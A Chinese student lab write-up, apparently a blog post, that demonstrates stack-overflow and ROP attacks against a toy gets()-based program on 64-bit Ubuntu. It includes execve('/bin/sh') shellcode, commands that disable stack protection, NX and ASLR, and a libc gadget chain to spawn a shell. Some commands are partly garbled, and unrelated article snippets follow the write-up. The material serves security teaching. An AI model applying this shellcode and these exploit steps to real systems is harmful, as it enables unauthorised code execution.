20145236《网络对抗》进阶实验——64位Ubuntu 17.10.1 ROP攻击

基础知识

ROP攻击

  • ROP全称为Retrun-oriented Programmming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。

  • ROP攻击同缓冲区溢出攻击,格式化字符串漏洞攻击不同,是一种全新的攻击方式,它利用代码复用技术。

  • ROP的核心思想:攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈桢给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。栈帧是程序运行栈的一部分 ,在Linux中 ,通过%esp和 %ebp寄存器维护栈顶指针和栈帧的起始地址 ,%eip是程序计数器寄存器。而ROP攻击则是利用以ret结尾的程序片段 ,操作这些栈相关寄存器,控制程的流程,执行相应的gadget,实施攻击者预设目标 。ROP不同于retum-to-libc攻击之处在于,R0P攻击以ret指令结尾的函数代码片段 ,而不是整个函数本身去完成预定的操作。从广义角度讲 ,return-to-libc攻击是ROP攻的特例。最初ROP攻击实现在x86体系结构下,随后扩展到各种体系结构.。与以往攻击技术不同的是,ROP恶意代码不包含任何指令,将自己的恶意代码隐藏在正常代码中。因而,它可以绕过W⊕X的防御技术。

  • 通过execve系统调用来启动一个shell。为了向后兼容,64位Linux支持32位Linux系统调用,因此我们可能会认为我们可以重复使用针对32位系统的shellcode。 但是,execve系统调用需要一个内存地址来保存应该执行的程序的NUL终止名称。 我们的shellcode可能被注入某个地方,这要求我们引用大于32位的内存地址。 因此我们必须使用64位系统调用。

实验环境

  • 虚拟机系统:Ubuntu 17.10.1(64位)

前期准备

  • 根据X86_64 ABI的调用约定,函数间传递参数不再以压栈的方式,而是以寄存器方式传递参数,前面6个参数依次以rdi, rsi, rdx, rcx, r8和r9寄存来传递。在Linux系统,64位架构只使用48位的虚拟地址空间,也即每个地址高16位全部为0,因此在64位系统上,地址已天然零化,ret2libc攻击似乎没有了用武之地,在ret2libc的基础上我们采用ROP攻击方法。
  • 我们现在先假设栈没有可执行属性,那么需要自己编写一个shell来执行,考虑通过execve系统调用来实现。我们直接将汇编代码放在shell.c文件中:
int main() {
asm("\
needle0: jmp there\n\
here: pop %rdi\n\
xor %rax, %rax\n\
movb $0x3b, %al\n\
xor %rsi, %rsi\n\
xor %rdx, %rdx\n\
syscall\n\
there: call here\n\
.string \"/bin/sh\"\n\
needle1: .octa 0xdeadbeef\n\
");
}
  • 无论我们的代码在内存中的哪个地方结束,call-pop指令都将使用/bin/sh字符串的地址加载rdi寄存器,接下来编译运行shell.c文件,成功获得了一个shell:

实践过程

  • 我们先提取要注入的payload,查看机器代码:objdump -d a.out | sed -n '/needle0/,/needle1/p'

  • 在64位系统上,代码段通常位于0x400000,在该二进制文件中,我们的代码位于0x4b8的偏移量处,并在偏移量0x4d5之前完成,共有29个字节:

  • 查看我们的shellcode:

  • 接着,我们看一个被攻击的简单代码victim.c:

#include <stdio.h>
int main() {
char name[64];
puts("What's your name?");
gets(name);
printf("Hello, %s!\n", name);
return 0;
}
  • 在Ubuntu系统上,有三种对策来保护堆栈,第一种是SSP,又名ProPolice,编译器重新排列堆栈布局,使缓冲区溢出不太危险,并插入运行时堆栈完整性检查;第二种是可执行空间保护(NX),当尝试在堆栈中执行代码时会导致分段错误;第三种地址空间布局随机化(ASLR),堆栈的位置每次运行都是随机的,所以即使我们可以覆盖返回地址,也不知道该放在哪里。

三种攻击尝试

第一种尝试

  1. 我们可以想办法绕过这些方法,使用gcc的-fno-stack-protector选项禁用堆栈保护,编译victim,然后使用execstack -s指令禁用可执行文件空间保护,发现提示没有安装:

  2. 安装完成之后,禁用可执行文件空间保护,然后在运行文件时禁用ASLR:

  3. 我们再在原victim.c代码的基础上加上一句printf("%p\n", name);,打印缓冲区的位置,然后再编译运行:
#include <stdio.h>
int main()
{
char name[64];
printf("%p\n", name); // Print address of buffer
puts("What's your name?");
gets(name);
printf("Hello, %s!\n", name);
return 0;
}
  1. 后面的过程中应该也会出现该缓冲区的地址,我们让它以小端法显示:

  2. 这个时候我们攻击我们的victim.c程序,可以看到攻击成功:
( ( cat shellcode ; printf %080d 0 ; echo $a ) | xxd -r -p ; > cat ) | setarch `arch` -R ./victim

第二种尝试

  1. 接着,我们再通过一个例子来看看打补丁的重要性,在以前,我们可以通过查看/proc/pid/stat来读取任何进程的ESP注册表,但是这种漏洞很早就被修复了,我们假装目前在没有打补丁的系统上,先查看所有进程的esp:

  2. 我们先运行禁用了ASLR的victim程序:

  3. 再在另一个终端窗口查看victim程序的esp:

  4. 因此,当程序正在等待用户输入时,它的堆栈指针0x7fffffece8,我们计算从这个指针到名称缓冲区的距离:

  5. 现在重新运行启用了ASLR的victim程序:

  6. 我们查找victim进程的esp指针,然后添加上偏移量,就是上一步中运行victim程序的缓冲区地址:

  7. 接着用管道命令来进行演示:

  8. 在另一个终端中输入

    ```sp=ps --no-header -C victim -o esp $ a=printf 6x $((0x7fff$sp+88)) | tac -r -s.. $ ( ( cat shellcode ; printf 0d 0 ; echo $a ) | xxd -r -p ; cat ) > pip
可以看到攻击成功,获取到了shell:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325182654855-445431169.png) ### 第三种尝试
1. 先通过运行`execstack -c`指令重新启动可执行空间保护,此外,在ROP攻击中代码片段从可执行内存中挑选出来,例如,它们可能是`libc`的片段,所以我们还要通过`locate`指令找到`libc`的位置,如图所示,我们选择第一个:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183053931-1761408555.png)
2. 我们希望执行`pop %rdi retq`,而指向`/bin/sh`的指针位于堆栈的顶部。这将在推进堆栈指针之前将指针分配给rdi,相应的机器代码是两个字节的序列`0x5f 0xc3`,它应该在libc的某处发生。但是没有Linux工具能够直接在文件中搜索给定的字节序列,所以我们可以用下面的grep指令来实现检索:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183339794-1561323510.png)
3. 在ROP中,以RET结尾的一系列指令称为gadget,如果我们用以下顺序覆盖返回地址:libc的地址+ 0x22a12;“/bin/sh”的地址;libc的system()函数的地址,然后在执行下一个ret指令时,程序将弹出“/bin/sh”的地址到rdi,然后跳转到系统函数,我们就可以达到我们的目的。先输入如下指令运行禁用了ASLR的victim程序:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183456731-689281955.png)
4. 再在另一个终端中输入如下指令:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183613826-1824306279.png)
5. 我们可以看到,libc被加载到从`0x7ffff7a1a000`开始的内存中,因此gadget地址是`0x7ffff7a1a000 + 0x22a12`,`/bin/sh`的地址我们之前已经找到了,是`0x7fffffffed40`,最后我们通过下面的指令来找libc的system()函数的地址:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183642170-846461297.png)
6. 我们可以得到libc的system()函数的地址是`0x7ffff7a1a000 + 0x45730`,最后将它们放到一起,成功得到了shell:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183730159-186110770.png) **参考文献**:[64-bit Linux Return-Oriented Programming](http://blog.sina.com.cn/s/blog_858820890101dr3q.html)

20145236《网络对抗》进阶实验——64位Ubuntu 17.10.1 ROP攻击的更多相关文章

  1. Android 源码编译环境搭建(64位Ubuntu)各种依赖包安装

    1.准备: 普通PC(要求能上网), PC的操作系统Ubuntu 10.04 LTS(64位的),已经下载好的Android 1.6_r1的源代码. 2.Linux的依赖package安装: 为了更快 ...

  2. 64位Ubuntu系统下ROP攻击

    64位Ubuntu系统下ROP攻击 基础知识 ROP攻击 ROP全称为Retrun-oriented Programmming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可 ...

  3. 20145231熊梓宏 《网络对抗》 实验9 Web安全基础实践

    20145231熊梓宏 <网络对抗> 实验9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? •SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面 ...

  4. 04.ubuntu下kvm 命令行安装64位ubuntu报"Couldn't find hvm kernel for Ubuntu tree."的问题

    1.安装ubuntu时使用的virt-install的配置: virt-install \ --name test4 \ --ram 1024 \ --disk path=/data/01_ubunt ...

  5. 64位Ubuntu运行32位程序时报文件不存在(No such file or Directory)的一种解决办法

    尝试在64位Ubuntu下面运行32位程序时, 一直说 文件不存在(No such file or directory), 我只想说++. 你tm说个文件格式不正确不就好了? 非得说个文件不存在! 真 ...

  6. 64位ubuntu下重新编译hadoop2.2流水账

    hadoop官方网站中只提供了32位的hadoop-2.2.0.tar.gz,如果要在64位ubuntu下部署hadoop-2.2.0,就需要重新编译源码包,生成64位的部署包.建议以下操作使用roo ...

  7. 64位ubuntu安装32位jdk

    转自:http://blog.csdn.net/anladeyatou/article/details/8213334 ubuntu-11.10-desktop-amd64 jdk-6u23-linu ...

  8. 怎样打开64位 Ubuntu 的32位支持功能?

    怎样打开64位 Ubuntu 的32位支持功能? 现在有一个让你可以在64位系统中使用32位软件的方法,就在你读了这篇文章然后照着做了之后就可以了.如果你有一个13.10或更高版本的Ubuntu/De ...

  9. 64位ubuntu编译32位程序

      最近在64位ubuntu上开发,需要编译32位程序,需要安装这两个包,然后在编译器参数加上-m32.不放心的话可以用ldd或file查看一下是否生成了对应位数的程序. $ apt-get inst ...

随机推荐

  1. SpringBoot修改Redis序列化方式

    前言 由于Springboot默认提供了序列化方式并不是非常理想,对于高要求的情况下,序列化的速度和序列化之后大小有要求的情况下,不能满足,所以可能需要更换序列化的方式. 这里主要记录更换序列化的方式 ...

  2. 【c#】RabbitMQ学习文档(四)Routing(路由)

    (使用Net客户端) 在上一个教程中,我们构建了一个简单的日志系统,我们能够向许多消息接受者广播发送日志消息. 在本教程中,我们将为其添加一项功能 ,这个功能是我们将只订阅消息的一个子集成为可能. 例 ...

  3. leetcode — best-time-to-buy-and-sell-stock

    /** * Source : https://oj.leetcode.com/problems/best-time-to-buy-and-sell-stock/ * * * Say you have ...

  4. RDIFramework.NET ━ .NET快速信息化系统开发框架 V3.2->Web版本新增新的角色授权管理界面效率更高、更规范

    角色授权管理模块主要是对角色的相应权限进行集中设置.在角色权限管理模块中,管理员可以添加或移除指定角色所包含的用户.可以分配或授予指定角色的模块(菜单)的访问权限.可以收回或分配指定角色的操作(功能) ...

  5. [.NET] 《Effective C#》快速笔记(二)- .NET 资源托管

    <Effective C#>快速笔记(二)- .NET 资源托管 简介 续 <Effective C#>读书笔记(一)- C# 语言习惯. .NET 中,GC 会帮助我们管理内 ...

  6. Java开发笔记(三十七)利用正则串分割字符串

    前面介绍了处理字符串的常用方法,还有一种分割字符串的场景也很常见,也就是按照某个规则将字符串切割为若干子串.分割规则通常是指定某个分隔符,根据字符串内部的分隔符将字符串进行分割,例如逗号.空格等等都可 ...

  7. Java AQS 概述

    AQS 概述 AQS(队列同步器,AbstractQueuedSynchronizer),是用来构建锁或其他同步组件的核心基础框架(比如 ReentrantLock.ReentrantReadWrit ...

  8. #WEB安全基础 : HTML/CSS | 0x8CSS进阶

    你以为自己学这么点CSS就厉害了? 学点新东西吧,让你的网页更漂亮 我们只需要用到图片和网页   这是index.html的代码 <html> <head> <title ...

  9. arcgis api 3.x for js 入门开发系列五地图态势标绘(附源码下载)

    前言 关于本篇功能实现用到的 api 涉及类看不懂的,请参照 esri 官网的 arcgis api 3.x for js:esri 官网 api,里面详细的介绍 arcgis api 3.x 各个类 ...

  10. 监控工具之zabbix server3.4 部署配置

    [root@localhost src]# cat /etc/redhat-release CentOS Linux release 7.5.1804 (Core) [root@localhost s ...